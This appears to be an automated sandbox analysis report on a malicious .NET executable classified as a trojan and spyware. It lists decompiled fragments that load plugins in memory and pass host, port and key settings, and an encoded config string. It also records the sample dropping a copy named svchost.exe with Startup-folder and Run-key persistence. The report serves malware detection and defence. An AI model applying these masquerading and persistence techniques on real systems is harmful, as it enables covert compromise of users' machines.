Source: yF21ypxRB7.exe, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: svchost.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: svchost.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: svchost.exe.0.dr, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: yF21ypxRB7.exe, Settings.cs	Base64 encoded string: 'Y3TBMzct0fB6CK9FPYM4ZIecyWQY3Lk9OU5z/LNFURJvaUTnYE30d0gTYCE4UAl8'
Source: svchost.exe.0.dr, Settings.cs	Base64 encoded string: 'Y3TBMzct0fB6CK9FPYM4ZIecyWQY3Lk9OU5z/LNFURJvaUTnYE30d0gTYCE4UAl8'

Source: yF21ypxRB7.exe, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: yF21ypxRB7.exe, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: svchost.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: svchost.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@11/5@3/2

Source: C:\Users\user\Desktop\yF21ypxRB7.exe

File created: C:\Users\user\AppData\Roaming\svchost.exe

Jump to behavior

Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Mutant created: \Sessions\1\BaseNamedObjects\vnCrrKpdlb0ooKNR
Source: C:\Users\user\AppData\Roaming\svchost.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7992:120:WilError_03

Source: C:\Users\user\Desktop\yF21ypxRB7.exe

File created: C:\Users\user\AppData\Local\Temp\Log.tmp

Jump to behavior

Source: yF21ypxRB7.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: yF21ypxRB7.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\yF21ypxRB7.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\yF21ypxRB7.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: yF21ypxRB7.exe

ReversingLabs: Detection: 78%

Source: C:\Users\user\Desktop\yF21ypxRB7.exe

File read: C:\Users\user\Desktop\yF21ypxRB7.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\yF21ypxRB7.exe "C:\Users\user\Desktop\yF21ypxRB7.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalService -s W32Time
Source: unknown	Process created: C:\Users\user\AppData\Roaming\svchost.exe "C:\Users\user\AppData\Roaming\svchost.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\svchost.exe "C:\Users\user\AppData\Roaming\svchost.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior

Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: moshost.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mapsbtsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mosstorage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mapconfiguration.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostservice.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: networkhelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdataplatformhelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccspal.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcfgutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcmnutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmxmlhelputils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: inproclogger.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.networking.connectivity.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: synccontroller.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pimstore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: accountaccessor.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: systemeventsbrokerclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatalanguageutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccsengineshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pimstore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cemapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatatypehelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: phoneutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storageusage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: w32time.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wscapi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sppc.dll	Jump to behavior

Source: C:\Users\user\Desktop\yF21ypxRB7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32

Jump to behavior

Source: svchost.lnk.0.dr

LNK file: ..\..\..\..\..\svchost.exe

Source: yF21ypxRB7.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: yF21ypxRB7.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: yF21ypxRB7.exe, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: yF21ypxRB7.exe, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: svchost.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: svchost.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: yF21ypxRB7.exe, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: yF21ypxRB7.exe, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: yF21ypxRB7.exe, Messages.cs	.Net Code: Memory
Source: svchost.exe.0.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: svchost.exe.0.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: svchost.exe.0.dr, Messages.cs	.Net Code: Memory

Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Code function: 0_2_00007FFAAC5B32A7 pushad ; ret		0_2_00007FFAAC5B32C1
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 8_2_00007FFAAC5700BD pushad ; iretd		8_2_00007FFAAC5700C1

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\Users\user\Desktop\yF21ypxRB7.exe

File created: C:\Users\user\AppData\Roaming\svchost.exe

Jump to dropped file

Source: C:\Users\user\Desktop\yF21ypxRB7.exe

File created: C:\Users\user\AppData\Roaming\svchost.exe

Jump to dropped file

Source: C:\Users\user\Desktop\yF21ypxRB7.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk

Jump to behavior

Source: C:\Windows\System32\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W32Time\Config

Jump to behavior

Source: C:\Users\user\Desktop\yF21ypxRB7.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk

Jump to behavior

Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchost			Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchost			Jump to behavior

Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
